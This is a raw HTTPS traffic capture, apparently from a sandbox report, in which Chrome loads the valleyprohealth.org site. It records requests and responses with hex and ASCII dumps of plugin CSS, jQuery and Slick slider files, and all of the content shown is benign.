2024-04-24 12:44:50 UTC	772	OUT	GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/css/build.css?ver=1.1.3 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:51 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:51 GMT Content-Type: text/css Content-Length: 10417 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 23 Apr 2024 09:50:51 GMT Vary: Accept-Encoding ETag: "6627847b-28b1" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:51 UTC	10417	IN	Data Raw: 2f 2a 2a 0d 0a 20 2a 20 53 74 79 6c 69 6e 67 20 66 6f 72 20 47 75 74 65 6e 62 65 72 67 20 70 6f 73 74 20 6c 61 79 6f 75 74 20 62 6c 6f 63 6b 73 0d 0a 20 2a 2f 0d 0a 0d 0a 2a 20 7b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 76 2d 63 6c 65 61 72 66 69 78 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 76 2d 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d Data Ascii: /** * Styling for Gutenberg post layout blocks / { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}.cv-clearfix{ display: block;}.cv-clearfix:after{ content: ""; display: block;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49939	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	787	OUT	GET /wp-content/plugins/Valley-Pro-Calculator/public/css/valley-pro-calculator-public.css?ver=1.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:51 UTC	342	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:51 GMT Content-Type: text/css Content-Length: 98 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 12:43:21 GMT ETag: "65eefc69-62" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:51 UTC	98	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 73 68 6f 75 6c 64 20 62 65 0a 20 2a 20 69 6e 63 6c 75 64 65 64 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0a 20 2a 2f Data Ascii: /** * All of the CSS for your public-facing functionality should be * included in this file. */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49944	151.101.2.137	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	547	OUT	GET /jquery-3.5.0.min.js?ver=3.2.1 HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:51 UTC	568	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89493 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d95" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 24 Apr 2024 12:44:51 GMT Age: 1673254 X-Served-By: cache-lga21930-LGA, cache-bur-kbur8200153-BUR X-Cache: HIT, HIT X-Cache-Hits: 131, 1 X-Timer: S1713962691.082688,VS0,VE1 Vary: Accept-Encoding
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 30 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 Data Ascii: /! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 3d 5b 6b 2c 64 5d 29 2c 61 3d 3d 3d 65 29 Data Ascii: a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]=[k,d]),a===e)
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 68 69 Data Ascii: {return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t=Object.create(null),V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,thi
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 72 43 61 73 65 28 29 29 26 26 70 65 2e 74 65 73 74 28 73 2e 74 79 70 65 29 3f 75 2e 63 68 65 63 6b 65 64 3d 73 2e 63 68 65 63 6b 65 64 3a 22 69 6e 70 75 74 22 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 76 65 28 65 29 2c 61 3d 61 7c 7c 76 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4f 65 28 6f 5b 72 5d 2c 61 5b 72 5d 29 3b 65 6c 73 65 20 4f 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 Data Ascii: rCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ve(e),a=a\|\|ve(c),r=0,i=o.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 69 73 2c 65 29 7d 29 7d 7d 29 2c 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 70 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e Data Ascii: is,e)})}}),S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n
2024-04-24 12:44:51 UTC	7573	IN	Data Raw: 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 3d 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 29 2c 65 29 72 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 6e 2c 65 5b 6e 5d 29 3b 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 Data Ascii: hrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49946	151.101.1.229	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	561	OUT	GET /jquery.slick/1.5.1/slick.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:51 UTC	708	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1718 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 ETag: W/"6b6-brkb+yUj1kJ370u2mrU3uhS+CFQ" Accept-Ranges: bytes Date: Wed, 24 Apr 2024 12:44:51 GMT Age: 1345643 X-Served-By: cache-fra-etou8220053-FRA, cache-bur-kbur8200052-BUR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 2f 2a 20 53 6c 69 64 65 72 20 2a 2f 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 72 0a 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 0a 20 20 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 75 73 65 72 2d 73 65 6c Data Ascii: /* Slider */.slick-slider{ position: relative; display: block; -moz-box-sizing: border-box; box-sizing: border-box; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-sel
2024-04-24 12:44:51 UTC	340	IN	Data Raw: 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 2e 73 6c 69 63 6b 2d 6c 6f 61 64 69 6e 67 20 69 6d 67 0a 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 2e 64 72 61 67 67 69 6e 67 20 69 6d 67 0a 7b 0a 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 69 6e 69 74 69 61 6c 69 7a 65 64 20 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 0a 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 6c 6f 61 64 69 6e 67 20 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 0a 7b 0a 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 76 65 72 74 69 63 61 6c 20 2e 73 6c 69 63 6b Data Ascii: : block;}.slick-slide.slick-loading img{ display: none;}.slick-slide.dragging img{ pointer-events: none;}.slick-initialized .slick-slide{ display: block;}.slick-loading .slick-slide{ visibility: hidden;}.slick-vertical .slick

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49947	151.101.1.229	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	567	OUT	GET /jquery.slick/1.5.1/slick-theme.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:51 UTC	708	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3023 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 ETag: W/"bcf-QQO0fEqql9Fm2x2ag7nurVU62ZQ" Accept-Ranges: bytes Age: 400650 Date: Wed, 24 Apr 2024 12:44:51 GMT X-Served-By: cache-fra-eddf8230022-FRA, cache-bur-kbur8200098-BUR X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 27 55 54 46 2d 38 27 3b 0a 2f 2a 20 53 6c 69 64 65 72 20 2a 2f 0a 2e 73 6c 69 63 6b 2d 6c 6f 61 64 69 6e 67 20 2e 73 6c 69 63 6b 2d 6c 69 73 74 0a 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 20 75 72 6c 28 27 2e 2f 61 6a 61 78 2d 6c 6f 61 64 65 72 2e 67 69 66 27 29 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 0a 2f 2a 20 49 63 6f 6e 73 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 0a 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 73 6c 69 63 6b 27 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 0a 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2f 66 6f 6e 74 Data Ascii: @charset 'UTF-8';/* Slider /.slick-loading .slick-list{ background: #fff url('./ajax-loader.gif') center center no-repeat;}/ Icons */@font-face{ font-family: 'slick'; font-weight: normal; font-style: normal; src: url('./font
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 74 68 69 6e 67 3a 20 67 72 61 79 73 63 61 6c 65 3b 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 70 72 65 76 0a 7b 0a 20 20 20 20 6c 65 66 74 3a 20 2d 32 35 70 78 3b 0a 7d 0a 5b 64 69 72 3d 27 72 74 6c 27 5d 20 2e 73 6c 69 63 6b 2d 70 72 65 76 0a 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 2d 32 35 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 70 72 65 76 3a 62 65 66 6f 72 65 0a 7b 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 e2 86 90 27 3b 0a 7d 0a 5b 64 69 72 3d 27 72 74 6c 27 5d 20 2e 73 6c 69 63 6b 2d 70 72 65 76 3a 62 65 66 6f 72 65 0a 7b 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 e2 86 92 27 3b 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 6e 65 78 74 0a 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 2d 32 35 70 78 3b 0a 7d 0a 5b 64 69 72 3d 27 Data Ascii: thing: grayscale;}.slick-prev{ left: -25px;}[dir='rtl'] .slick-prev{ right: -25px; left: auto;}.slick-prev:before{ content: '';}[dir='rtl'] .slick-prev:before{ content: '';}.slick-next{ right: -25px;}[dir='
2024-04-24 12:44:51 UTC	267	IN	Data Raw: 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0a 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 e2 80 a2 27 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 2e 32 35 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 3b 0a 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 0a 20 20 20 20 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 67 72 61 79 73 63 61 6c 65 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 64 6f 74 73 20 6c 69 2e 73 6c 69 63 6b 2d 61 63 74 69 76 65 20 62 75 74 74 6f 6e 3a 62 65 66 6f 72 65 0a 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 2e 37 35 3b 0a 20 20 20 20 63 6f 6c 6f Data Ascii: height: 20px; content: ''; text-align: center; opacity: .25; color: black; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale;}.slick-dots li.slick-active button:before{ opacity: .75; colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49943	151.101.2.137	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	555	OUT	GET /jquery-migrate-3.2.0.min.js?ver=3.0.0 HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:51 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10183 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-27c7" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1491601 Date: Wed, 24 Apr 2024 12:44:51 GMT X-Served-By: cache-lga21937-LGA, cache-bur-kbur8200092-BUR X-Cache: HIT, HIT X-Cache-Hits: 63, 0 X-Timer: S1713962691.088087,VS0,VE1 Vary: Accept-Encoding
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 32 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 28 65 2c 77 69 6e Data Ascii: /! jQuery Migrate v3.2.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof 